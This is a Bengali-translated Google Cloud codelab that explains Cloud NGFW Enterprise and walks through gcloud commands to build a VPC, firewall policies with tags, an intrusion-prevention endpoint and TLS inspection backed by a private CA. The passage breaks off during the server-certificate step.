ক্লাউড NGFW এন্টারপ্রাইজ কোডল্যাব [w/ TLS পরিদর্শন]

১. ভূমিকা

ক্লাউড নেক্সট জেনারেশন ফায়ারওয়াল (NGFW)

ক্লাউড নেক্সট জেনারেশন ফায়ারওয়াল হলো একটি সম্পূর্ণ ডিস্ট্রিবিউটেড ফায়ারওয়াল পরিষেবা, যা আপনার গুগল ক্লাউড ওয়ার্কলোডকে অভ্যন্তরীণ ও বাহ্যিক আক্রমণ থেকে সুরক্ষিত রাখতে উন্নত সুরক্ষা ক্ষমতা, মাইক্রো-সেগমেন্টেশন এবং ব্যাপক কভারেজ প্রদান করে।

ক্লাউড এনজিএফডব্লিউ-এর নিম্নলিখিত সুবিধাগুলো রয়েছে:

  • ডিস্ট্রিবিউটেড ফায়ারওয়াল পরিষেবা: ক্লাউড এনজিএফডব্লিউ জিরো-ট্রাস্ট নিরাপত্তা আর্কিটেকচার সক্ষম করার জন্য প্রতিটি ওয়ার্কলোডের উপর একটি স্টেটফুল, সম্পূর্ণ ডিস্ট্রিবিউটেড হোস্ট-ভিত্তিক প্রয়োগ ব্যবস্থা প্রদান করে।
  • সরলীকৃত কনফিগারেশন এবং স্থাপন: ক্লাউড এনজিএফডব্লিউ (Cloud NGFW) নেটওয়ার্ক এবং হায়ারারকিক্যাল ফায়ারওয়াল পলিসি প্রয়োগ করে যা একটি রিসোর্স হায়ারার্কি নোডের সাথে সংযুক্ত করা যেতে পারে। এই পলিসিগুলো গুগল ক্লাউড রিসোর্স হায়ারার্কি জুড়ে একটি সামঞ্জস্যপূর্ণ ফায়ারওয়াল অভিজ্ঞতা প্রদান করে।
  • সূক্ষ্ম নিয়ন্ত্রণ এবং মাইক্রো-সেগমেন্টেশন: ফায়ারওয়াল পলিসি এবং আইডেন্টিটি অ্যান্ড অ্যাক্সেস ম্যানেজমেন্ট (IAM) দ্বারা পরিচালিত ট্যাগ-এর সমন্বয়, ভার্চুয়াল প্রাইভেট ক্লাউড (VPC) নেটওয়ার্ক এবং সংস্থা জুড়ে, একটি একক VM পর্যন্ত নর্থ-সাউথ এবং ইস্ট-ওয়েস্ট উভয় ট্র্যাফিকের জন্য সূক্ষ্ম নিয়ন্ত্রণ প্রদান করে।

ক্লাউড এনজিএফডব্লিউ নিম্নলিখিত টায়ারগুলিতে উপলব্ধ:

  • ক্লাউড নেক্সট জেনারেশন ফায়ারওয়ালের অপরিহার্য বিষয়সমূহ
  • ক্লাউড নেক্সট জেনারেশন ফায়ারওয়াল স্ট্যান্ডার্ড
  • ক্লাউড নেক্সট জেনারেশন ফায়ারওয়াল এন্টারপ্রাইজ

ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ

ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ, ডিস্ট্রিবিউটেড গুগল ক্লাউড ফায়ারওয়াল ফ্যাব্রিকে ইন্ট্রুশন প্রিভেনশন সার্ভিস (আইপিএস) যুক্ত করে, যা একটি লেয়ার ৭ সক্ষমতা। টিএলএস এনক্রিপ্টেড ট্র্যাফিক পরিদর্শনের জন্য টিএলএস ইন্সপেকশন সমর্থিত।

এখন আপনি আপনার নেটওয়ার্ক আর্কিটেকচার বা রাউটিং কনফিগারেশনে কোনো পরিবর্তন না করেই, সূক্ষ্ম নিয়ন্ত্রণের মাধ্যমে নির্ভরযোগ্য লেয়ার ৭ নেক্সট জেনারেশন ফায়ারওয়াল (NGFW) পরিদর্শন ব্যবস্থা স্থাপন করতে পারেন।

IPS-এর মাধ্যমে লেয়ার ৭ ফায়ারওয়াল কন্ট্রোল সক্রিয় ও স্থাপন করতে, আপনাকে নিম্নলিখিত কাজগুলো সম্পাদন করতে হবে:

  • গুগল ক্লাউড পরিচালিত জোনাল ফায়ারওয়াল এন্ডপয়েন্টের একটি সেট তৈরি করুন।
  • ঐচ্ছিকভাবে একটি টিএলএস পরিদর্শন নীতি তৈরি করুন।
  • ঐচ্ছিকভাবে একটি ট্রাস্ট কনফিগ তৈরি করুন।
  • এই এন্ডপয়েন্টগুলিকে ভার্চুয়াল প্রাইভেট ক্লাউড (VPC) নেটওয়ার্কগুলির সাথে সংযুক্ত করুন যেখানে আপনার ক্লাউড NGFW এন্টারপ্রাইজ পরিষেবা প্রয়োজন।
  • বিভিন্ন ট্র্যাফিক পাথের জন্য থ্রেট প্রিভেনশন প্রোফাইল নির্দিষ্ট করতে আপনার বিদ্যমান ফায়ারওয়াল পলিসি এবং ফায়ারওয়াল রুলগুলিতে সাধারণ কিছু পরিবর্তন করুন।

নেটওয়ার্ক ফায়ারওয়াল নীতি

নেটওয়ার্ক ফায়ারওয়াল পলিসি ফায়ারওয়াল নিয়মগুলোর জন্য একটি ধারক হিসেবে কাজ করে। একটি নেটওয়ার্ক ফায়ারওয়াল পলিসিতে সংজ্ঞায়িত নিয়মগুলো ততক্ষণ পর্যন্ত কোথাও প্রয়োগ করা হয় না, যতক্ষণ না পলিসিটি একটি VPC নেটওয়ার্কের সাথে যুক্ত করা হয়। প্রতিটি VPC নেটওয়ার্কের সাথে একটি নেটওয়ার্ক ফায়ারওয়াল পলিসি যুক্ত থাকতে পারে। নেটওয়ার্ক ফায়ারওয়াল পলিসিগুলো ফায়ারওয়াল নিয়মে IAM-নিয়ন্ত্রিত ট্যাগ (বা শুধু ট্যাগ) সমর্থন করে, যা বর্তমান নেটওয়ার্ক ট্যাগগুলোকে প্রতিস্থাপন করে এবং ওয়ার্কলোডের পরিচয় প্রদানের জন্য ব্যবহার করা যেতে পারে।

বিভিন্ন নেটওয়ার্কে নেটওয়ার্ক ফায়ারওয়াল পলিসি শেয়ার করা এবং IAM-শাসিত ট্যাগগুলোর সাথে এর ইন্টিগ্রেশন ফায়ারওয়ালের কনফিগারেশন ও ব্যবস্থাপনাকে ব্যাপকভাবে সহজ করে তোলে।

নেটওয়ার্ক ফায়ারওয়াল পলিসি চালু হওয়ার ফলে, গুগল ক্লাউডের ফায়ারওয়াল পলিসিগুলোতে এখন নিম্নলিখিত উপাদানগুলো রয়েছে:

  1. শ্রেণিবদ্ধ ফায়ারওয়াল নীতি
  2. ভিপিসি ফায়ারওয়াল নিয়মাবলী
  3. নেটওয়ার্ক ফায়ারওয়াল নীতিমালা ( বৈশ্বিকআঞ্চলিক )

রিসোর্স হায়ারার্কির মধ্যে অর্গানাইজেশন এবং ফোল্ডার নোডগুলিতে হায়ারার্কিক্যাল ফায়ারওয়াল পলিসি সমর্থিত হয়, যেখানে ভিপিসি ফায়ারওয়াল রুল এবং নেটওয়ার্ক ফায়ারওয়াল পলিসি ভিপিসি লেভেলে প্রয়োগ করা হয়। ভিপিসি ফায়ারওয়াল রুল এবং নেটওয়ার্ক ফায়ারওয়াল পলিসির মধ্যে একটি বড় পার্থক্য হলো, ভিপিসি ফায়ারওয়াল রুল শুধুমাত্র একটি ভিপিসি নেটওয়ার্কে প্রয়োগ করা যায়, যেখানে নেটওয়ার্ক ফায়ারওয়াল পলিসি একটি একক ভিপিসি বা ভিপিসি-র একটি গ্রুপের সাথে সংযুক্ত করা যেতে পারে এবং এর সাথে ব্যাচ আপডেটের মতো অন্যান্য সুবিধাও রয়েছে।

অবশেষে, প্রতিটি VPC নেটওয়ার্কের সাথে কিছু অন্তর্নিহিত ফায়ারওয়াল নিয়মও থাকে:

  • একটি বহির্গমন নিয়ম যার অ্যাকশন হলো অনুমতি দেওয়া, গন্তব্য হলো 0.0.0.0/0
  • একটি ইনগ্রেস রুল যার অ্যাকশন হলো ডিনাই, সোর্স হলো 0.0.0.0/0

ডিফল্টরূপে, প্রয়োগের ক্রমটি নিম্নলিখিত ডায়াগ্রামে দেখানো হয়েছে:

21b3bcabc469ffe.png

অনুগ্রহ করে মনে রাখবেন যে, VPC ফায়ারওয়াল নিয়ম এবং গ্লোবাল নেটওয়ার্ক ফায়ারওয়াল পলিসির মধ্যে প্রয়োগের ক্রম অদলবদল করা যেতে পারে। গ্রাহকরা যেকোনো সময় একটি gcloud কমান্ডের মাধ্যমে প্রয়োগের ক্রম নির্দিষ্ট করে দিতে পারেন।

ট্যাগ

নেটওয়ার্ক ফায়ারওয়াল পলিসি নিয়মে সমন্বিত নতুন ট্যাগগুলো হলো কী-ভ্যালু পেয়ার রিসোর্স, যা গুগল ক্লাউড রিসোর্স হায়ারার্কির অর্গানাইজেশন বা প্রজেক্ট-স্তরে সংজ্ঞায়িত করা হয়। এই ধরনের একটি ট্যাগে IAM অ্যাক্সেস কন্ট্রোল থাকে, যা নির্দিষ্ট করে দেয় কে ট্যাগটির উপর কী করতে পারবে। উদাহরণস্বরূপ, আইডেন্টিটি অ্যান্ড অ্যাক্সেস ম্যানেজমেন্ট (IAM) পারমিশন নির্দিষ্ট করে দেয় কোন প্রিন্সিপালরা ট্যাগে ভ্যালু নির্ধারণ করতে পারবে এবং কোন প্রিন্সিপালরা রিসোর্সে ট্যাগ সংযুক্ত করতে পারবে। যদি কোনো নেটওয়ার্ক ফায়ারওয়াল নিয়মে একটি ট্যাগের উল্লেখ থাকে, তবে তা কার্যকর করার জন্য রিসোর্সটিতে অবশ্যই প্রয়োগ করতে হবে।

ট্যাগগুলি গুগল ক্লাউডের ইনহেরিটেন্স রিসোর্স মডেল মেনে চলে, যার অর্থ হলো ট্যাগ এবং তাদের মানগুলি হায়ারার্কি জুড়ে তাদের প্যারেন্টদের থেকে নিচের দিকে প্রবাহিত হয়। ফলে, ট্যাগগুলি এক জায়গায় তৈরি করা হলে রিসোর্স হায়ারার্কি জুড়ে অন্যান্য ফোল্ডার এবং প্রজেক্ট দ্বারা ব্যবহৃত হতে পারে। ট্যাগ এবং অ্যাক্সেস সীমাবদ্ধতা সম্পর্কে বিস্তারিত জানতে এই পৃষ্ঠাটি দেখুন।

ট্যাগকে নেটওয়ার্ক ট্যাগের সাথে গুলিয়ে ফেলা উচিত নয়। নেটওয়ার্ক ট্যাগ হলো এমন কিছু স্ট্রিং যা Compute Engine ইনস্ট্যান্সে যোগ করা যায়; এগুলো ইনস্ট্যান্সের সাথে যুক্ত থাকে এবং ইনস্ট্যান্সটি ডিকমিশন করা হলে অদৃশ্য হয়ে যায়। VPC ফায়ারওয়াল নিয়মে নেটওয়ার্ক ট্যাগ অন্তর্ভুক্ত থাকতে পারে, কিন্তু যেহেতু এগুলোকে ক্লাউড রিসোর্স হিসেবে গণ্য করা হয় না, তাই এগুলো IAM অ্যাক্সেস কন্ট্রোলের আওতাভুক্ত নয়।

উল্লেখ্য যে, এই নথিতে ট্যাগ এবং আইএএম-শাসিত ট্যাগ শব্দ দুটি সমার্থক হিসেবে ব্যবহৃত হচ্ছে।

আপনি যা তৈরি করবেন

এই কোডল্যাবটির জন্য একটিমাত্র প্রজেক্ট এবং একটি ভিপিসি (VPC) নেটওয়ার্ক তৈরি করার পাশাপাশি বিভিন্ন নেটওয়ার্ক ও নিরাপত্তা রিসোর্স পরিচালনা করার সক্ষমতা প্রয়োজন। এটি দেখাবে কিভাবে ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ (Cloud NGFW Enterprise) নিম্নলিখিত উপায়ে আইপিএস (IPS) কার্যকারিতা প্রদান করতে পারে:

  • TLS ইন্সপেকশনের মাধ্যমে উত্তরমুখী ইন্টারনেট প্রবাহ পরিদর্শন করা হচ্ছে
  • TLS পরিদর্শনের মাধ্যমে আন্তঃ-vpc প্রবাহ [পূর্ব-পশ্চিম] পরিদর্শন

পরিদর্শনের জন্য ফ্লোগুলো ক্লাউড ফায়ারওয়ালের ম্যাচিং প্যারামিটার, যেমন—৫-টাপল (সোর্স আইপি, ডেস্টিনেশন আইপি, প্রোটোকল, সোর্স পোর্ট, ডেস্টিনেশন পোর্ট) এবং ট্যাগ ব্যবহার করে নির্বাচন করা হবে।

3d0f288d3b92a295.png

নেটওয়ার্ক ফায়ারওয়াল পলিসি রুলবেসের চূড়ান্ত অবস্থা নিচের টেবিলের অনুরূপ হবে:

অগ্রাধিকার

দিকনির্দেশনা

লক্ষ্য

উৎস

গন্তব্য

পদক্ষেপ

প্রকার

১০০

প্রবেশ

সার্ভার_ট্যাগ

স্বাস্থ্য-পরীক্ষা

যেকোনো

অনুমতি দিন

প্রয়োজনীয় জিনিসপত্র

২০০

প্রবেশ

ক্লায়েন্ট_ট্যাগ, সার্ভার_ট্যাগ

আইএপি

যেকোনো

অনুমতি দিন

প্রয়োজনীয় জিনিসপত্র

৮০০

প্রবেশ

সার্ভার_ট্যাগ

১০.০.০.০/২৪

১০.০.০.০/২৪

এল৭ পরিদর্শন

উদ্যোগ

৮৫০

বহির্গমন

ক্লায়েন্ট_ট্যাগ

যেকোনো

১০.০.০.০/২৪

অনুমতি দিন

প্রয়োজনীয় জিনিসপত্র

৯০০

বহির্গমন

ক্লায়েন্ট_ট্যাগ

যেকোনো

যেকোনো

এল৭ পরিদর্শন

উদ্যোগ

আপনি যা শিখবেন

  • কীভাবে একটি নেটওয়ার্ক ফায়ারওয়াল পলিসি তৈরি করতে হয়।
  • নেটওয়ার্ক ফায়ারওয়াল পলিসির সাথে কীভাবে ট্যাগ তৈরি ও ব্যবহার করবেন
  • TLS ইন্সপেকশন সহ ক্লাউড NGFW এন্টারপ্রাইজ কীভাবে কনফিগার এবং ব্যবহার করবেন।

আপনার যা যা লাগবে

  • গুগল ক্লাউড প্রকল্প।
  • ইনস্ট্যান্স স্থাপন এবং নেটওয়ার্কিং উপাদান কনফিগার করার জ্ঞান।
  • ভিপিসি ফায়ারওয়াল কনফিগারেশন সম্পর্কে জ্ঞান।

২. শুরু করার আগে

ভেরিয়েবল তৈরি/আপডেট করুন

এই কোডল্যাবটি ক্লাউড শেলে gcloud কনফিগারেশন বাস্তবায়নে সাহায্য করার জন্য $variables ব্যবহার করে।

ক্লাউড শেলে, প্রয়োজন অনুযায়ী বন্ধনীর ভেতরের তথ্য পরিবর্তন করে নিচের কমান্ডগুলো চালান:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

৩. এপিআই সক্রিয় করুন

আপনি যদি API গুলি সক্রিয় না করে থাকেন তবে তা করুন:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

৪. ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ এন্ডপয়েন্ট তৈরি

যেহেতু ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ এন্ডপয়েন্ট তৈরি হতে প্রায় ২০ মিনিট সময় লাগে, তাই এটি প্রথমে তৈরি করা হবে এবং এন্ডপয়েন্টটি তৈরি হওয়ার সময়েই বেস সেটআপের কাজ সমান্তরালভাবে করা যেতে পারে।

নিরাপত্তা প্রোফাইল এবং নিরাপত্তা প্রোফাইল গ্রুপ তৈরি করুন:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

প্রত্যাশিত আউটপুট:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.                                                                                                                                 

রিসোর্সগুলো সফলভাবে তৈরি হয়েছে কিনা তা নিশ্চিত করুন:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

প্রত্যাশিত আউটপুট (উল্লেখ্য যে, ব্যবহৃত ক্লায়েন্ট অনুযায়ী আউটপুট ফরম্যাট ভিন্ন হতে পারে):

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ এন্ডপয়েন্ট তৈরি করুন:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

এন্ডপয়েন্টটি তৈরি হচ্ছে কিনা তা নিশ্চিত করতে নিচের কমান্ডটি চালান ( CREATING )।

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

প্রত্যাশিত আউটপুট (উল্লেখ্য যে, ব্যবহৃত ক্লায়েন্ট অনুযায়ী আউটপুট ফরম্যাট ভিন্ন হতে পারে):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

ঐচ্ছিকভাবে, আরও বিস্তারিত জানতে নিচের কমান্ডটি চালান:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

প্রত্যাশিত আউটপুট:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

তৈরির প্রক্রিয়াটিতে প্রায় ২০ মিনিট সময় লাগে। সমান্তরালভাবে প্রয়োজনীয় রিসোর্সগুলো তৈরি করতে বেস সেটআপ বিভাগে যান।

৫. ভিত্তি স্থাপন

ভিপিসি নেটওয়ার্ক এবং সাবনেট

ভিপিসি নেটওয়ার্ক এবং সাবনেট

VPC নেটওয়ার্ক এবং সাবনেট তৈরি করুন:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

ক্লাউড ন্যাট

ক্লাউড রাউটার এবং ক্লাউড NAT গেটওয়ে তৈরি করুন:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

উদাহরণ

ক্লায়েন্ট এবং ওয়েব-সার্ভার ইনস্ট্যান্স তৈরি করুন:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

প্রকল্প-স্তরের ট্যাগ

প্রয়োজনে ব্যবহারকারীকে ট্যাগঅ্যাডমিন অনুমতি প্রদান করুন:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

প্রজেক্ট-স্তরের ট্যাগ কী এবং ভ্যালু তৈরি করুন:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

ট্যাগগুলোকে ইনস্ট্যান্সগুলোর সাথে সংযুক্ত করুন:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

গ্লোবাল নেটওয়ার্ক ফায়ারওয়াল নীতি

একটি গ্লোবাল নেটওয়ার্ক ফায়ারওয়াল পলিসি তৈরি করুন:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

হেলথ-চেক এবং আইডেন্টিটি-অ্যাওয়্যার প্রক্সি রেঞ্জ থেকে ট্র্যাফিক অনুমোদনের জন্য প্রয়োজনীয় ক্লাউড ফায়ারওয়াল এসেনশিয়াল রুলস তৈরি করুন:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

নির্দিষ্ট রেঞ্জগুলো থেকে ইস্ট-ওয়েস্ট / ইন্ট্রা-সাবনেট ট্র্যাফিক প্রবেশের অনুমতি দেওয়ার জন্য প্রয়োজনীয় ক্লাউড ফায়ারওয়াল রুল তৈরি করুন (এই রুলগুলো ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ উইথ টিএলএস ইন্সপেকশন চালু করার জন্য আপডেট করা হবে):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

VPC নেটওয়ার্কের সাথে ক্লাউড ফায়ারওয়াল পলিসি সংযুক্ত করুন:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

৬. ক্লাউড ফায়ারওয়াল এন্ডপয়েন্ট অ্যাসোসিয়েশন

যদি আপনি এখনও এনভায়রনমেন্ট ভেরিয়েবলগুলো নির্ধারণ না করে থাকেন এবং/অথবা স্ক্রিপ্ট পদ্ধতিটি পছন্দ করে থাকেন, তবে তা করে নিন।

ক্লাউড ফায়ারওয়াল এন্ডপয়েন্ট তৈরি সফলভাবে সম্পন্ন হয়েছে কিনা তা নিশ্চিত করুন। স্টেট ACTIVE হিসেবে দেখানো হলেই কেবল অগ্রসর হন (তৈরির সময় প্রত্যাশিত স্টেট CREATING থাকে):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

প্রত্যাশিত আউটপুট (উল্লেখ্য যে, ব্যবহৃত ক্লায়েন্ট অনুযায়ী আউটপুট ফরম্যাট ভিন্ন হতে পারে):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

ঐচ্ছিকভাবে, আরও বিস্তারিত জানতে নিচের কমান্ডটি চালান:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

প্রত্যাশিত আউটপুট:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

ক্লাউড ফায়ারওয়াল এন্ডপয়েন্টটিকে VPC নেটওয়ার্কের সাথে সংযুক্ত করুন:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

অ্যাসোসিয়েশন প্রক্রিয়াটিতে প্রায় ১০ মিনিট সময় লাগে। স্টেটটি ACTIVE হিসেবে দেখানো হলেই কেবল TLS সেকশনে যান (তৈরির সময় প্রত্যাশিত স্টেটটি CREATING থাকে):

gcloud network-security firewall-endpoint-associations list

সম্পূর্ণ হলে প্রত্যাশিত আউটপুট:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

ঐচ্ছিকভাবে, আরও বিস্তারিত জানতে নিচের কমান্ডটি চালান:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

প্রত্যাশিত আউটপুট:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

৭. টিএলএস রিসোর্স কনফিগার করুন

একটি CA পুল তৈরি করুন। এই রিসোর্সটি NGFW এন্টারপ্রাইজের জন্য আমাদের তৈরি করা রুট CA সার্টিফিকেট সংরক্ষণের জন্য ব্যবহৃত হবে।

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

রুট সিএ (Root CA) তৈরি করুন। এই সিএ সার্টিফিকেটটিই এনজিএফডব্লিউ এন্টারপ্রাইজ (NGFW Enterprise)-এর মাধ্যমে করা অনুরোধের জন্য অতিরিক্ত সার্টিফিকেট স্বাক্ষর করতে ব্যবহৃত হবে।

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

যদি নিচের বার্তাটি আসে, তাহলে y উত্তর দিন:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

একটি সার্ভিস অ্যাকাউন্ট তৈরি করুন। এই সার্ভিস অ্যাকাউন্টটি NGFW এন্টারপ্রাইজের জন্য সার্টিফিকেট অনুরোধ করতে ব্যবহৃত হবে:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

সার্ভিস অ্যাকাউন্টের জন্য IAM অনুমতি সেট করুন:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

TLS পলিসি YAML ফাইলটি তৈরি করুন। এই ফাইলে নির্দিষ্ট রিসোর্সগুলো সম্পর্কে তথ্য থাকবে:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

TLS পরিদর্শন নীতি আমদানি করুন:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

TLS সক্রিয় করতে এন্ডপয়েন্ট অ্যাসোসিয়েশন আপডেট করুন:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

CA সার্টিফিকেটটি সংগ্রহ করুন এবং ক্লায়েন্টের CA স্টোরে যোগ করুন:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

ক্লায়েন্টের কাছে CA সার্টিফিকেটটি হস্তান্তর করুন:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

VM-এ SSH করুন, CA সার্টিফিকেটটি /usr/local/share/ca-certificates-এ সরান এবং CA স্টোর আপডেট করুন:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

ক্লাউডশেলে ফিরে যান।

সার্ভার সার্টিফিকেট স্বাক্ষর প্রক্রিয়া:

ক্লাউডশেলে, pip কমান্ড ব্যবহার করে Pyca ক্রিপ্টোগ্রাফি লাইব্রেরিটি ইনস্টল করুন:

pip install --user "cryptography>=2.2.0"

গুগল ক্লাউড এসডিকে-কে পাইকা ক্রিপ্টোগ্রাফি লাইব্রেরি ব্যবহার করার অনুমতি দিতে হলে, আপনাকে সাইট প্যাকেজ সক্রিয় করতে হবে।

export CLOUDSDK_PYTHON_SITEPACKAGES=1

সার্ভার সার্টিফিকেট তৈরি করুন:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem 

